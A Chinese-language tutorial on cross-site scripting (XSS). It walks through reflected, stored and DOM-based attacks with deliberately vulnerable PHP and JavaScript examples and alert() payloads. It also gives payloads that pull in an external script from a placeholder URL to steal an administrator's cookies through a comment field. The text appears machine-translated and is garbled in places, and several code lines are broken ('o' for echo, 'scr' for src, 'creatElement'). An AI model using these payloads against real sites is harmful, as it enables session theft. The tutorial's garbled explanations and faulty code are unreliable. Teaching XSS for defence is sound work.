XSS概要

xss跨站点的脚本攻击(交叉站点代码)是指在与 CSS的首字母(CSS)中的首字母进行混用的情况下,将其简称为 xss

XSS是什么

xss就是黑客在网页上插入了一段恶意脚本,在使用者阅读网页时,会将脚本代码植入网页,进行特定的恶意程序。

xss的类型

xss通常可以分成三个类别:

第一类:反射式 XSS

反射性 XSS仅仅“反射”了使用者的信息到了浏览器上。这意味着要想成功的攻击,必须要诱导对方“点击”一个恶意的连接。XSS又称为“非持久型 XSS”

第二类:存储式 XSS

存储类型 XSS将“储存”到服务器上的使用者所提供的资料。此 XSS非常稳定

第三类: DOM Based XSS

事实上, XSS不是根据“数据存储在哪个服务器”来区分的,它的作用也被 XSS区分开来,这是由于 DOM Based XSS的特殊原因。这是因为不适当地分析客户机指令码本身所造成的安全性问题。

XSS的攻击原理

反射型XSS的攻击原理

反射性 XSS,是目前应用最广泛,应用最广泛的一种。通过向他人传送带有恶意程式码的 URL,特定的程式码参数会在 URL位址开启时被解析、执行。

其特征为:不可持久性,需要使用者按一下具有指定的参数的连结。

举例说明:

假定一页向网页输出了使用者的参数:

<?Php $input = $_GET["param"]; o "<div>".$input."</div>"?>

通常,当一个人把资料递交给 param时,会显示在网页上,例如:

http://127.0.0.1/xss.php? Param=This is a test!

其效果是:

有关xss漏洞攻击与防御的那些事儿插图1

他又看了一眼网页的源码,上面写着:

<div>/This is a xss test!</div>

不过,如果您要递交 HTML的一个片段:

http://127.0.0.1/xss.php?param=<script>alert(/This is a xss test!/)</script>

你会看到, alert (/Test!/)在目前的网页上进行了以下操作:

再查看源代码:

<div><script>alert(/This is a xss test!/)</script></div>

用户输入的的Script,脚本已经被写入页面中,这并不是开发者所希望看到的。这就是反射型XSS攻击的原理。

储存型XSS的攻击原理

存储类型的攻击脚本存储在数据库或文件中,服务端读取存储内容回显。这是存储型的。在这种情况下,用户直接打开正常页面,将看到注入

流程是这样的:

坏人向网站发送恶意 XSS代码—>网站存储 XSS代码到数据库—>当其他普通用户再次请求该页面时,服务器向客户端发送已植入 XSS代码的数据—>客户端执行 XSS代码

例子:

<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>留言板</title> </head> <body> <center> <h6>我的留言板</h6><form action="" method="get"> <h6>请输入留言内容</h6> <input type="text" name="xss_input_value" placeholder="输入留言内容"><br> <input type="submit" > </form> <hr> <h6>这里假设我们是正常用户来查看留言这个界面</h6> <?php if(isset($_GET['xss_input_value'])){ $xss = $_GET['xss_input_value']; if(isset($xss)){ echo '<input type="text" value="'.$xss.'">'; }else{ echo '<input type="type" vplaceholder="输出留言内容">'; }}else{ echo '<input type="type" placeholder="输出留言内容">';}?> </center> </body> </html>

这里我们假设第一个输入框的数据存入了数据库,而输出框从数据库中读取输入的数据。

此时在输入框插入恶意的代码

"><script>alert(/This is a xss test!/)</script>(">是用来闭合input标签)

当正常用户想要来查看留言板的内容时这条恶意代码就会被浏览器加载并执行

DMO Based XSS的攻击原理

DOM- based XSS是一个以文件物件模式为基础的缺陷。DOM是一个独立于平台和编程语言的界面,可以使程式和脚本在实时存取和更新文档的内容、结构和风格,从而使其在网页上呈现。DOM里有许多物件,有些物件是使用者可以操纵的。客户机的脚本可以根据 DOM对网页的内容进行实时的校验和校对,无需向服务器端提交任何资料,而直接从客户机获取 DOM的 DOM中的资料,则在当地进行。

看如下代码:

<script>function test(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";}</script><div id="t"></div><input type="text" id="text" value="" /><input type="button" id="s" value="write" onclick="test()" />

单击“write”键之后,将包含文字框的内容的超级连接添加到目前网页:

此处, onclick” write”键会呼叫测试()功能。在测试()功能中,网页 DOM的结点被更改,用户的一部分被作为 HTML的 innerHTML被写进了网页,从而产生了 DOM based XSS.

根据以下的资料构建:

' onclick=alert(/xss/) //

在他的键盘上,出现了一行字:

<a href='' onclick=alert(/xss/) //' >testLink</a>

首先,将 href开头的单引号关闭,接着添加 onclick,最后用”//”加一个注解。

单击此新产生的连接,将会运行该指令码,如下所述:

XSS的运用

说了这么多,所有人都觉得 XSS就是一个窗口,实际上,这个窗口就是为了考验 XSS的存在和使用情况。

现在我们要把 JS编码插进去。

可以这么做

<script scr="js_url"></script>

还是那样

<img src=x onerror=appendChild(creatElement('script')).src='js_url'>

有各种各样的姿态,有各种各样的插件,我们的 js可以做许多事情,比如收集 cookies,控制用户的行为,等等。

例如,我们可以在网页的评论栏中,键入以下的编码:

<script scr="js_url"></script>

系统会在管理员登录后台查看信息的同时,查看管理员的 cookies、后台和浏览器的更新。

xss的防御

为什么 XSS如今这么受欢迎?我相信你们都已经明白了,在输入时没有进行严密的筛选,在输出中也没有执行检测、转换、替代等操作。

因此,防止这种情况发生的最好办法,就是不相信任何人的输入,仔细的审查,筛选,然后在输出过程中,对特定的文字进行转义、替代等。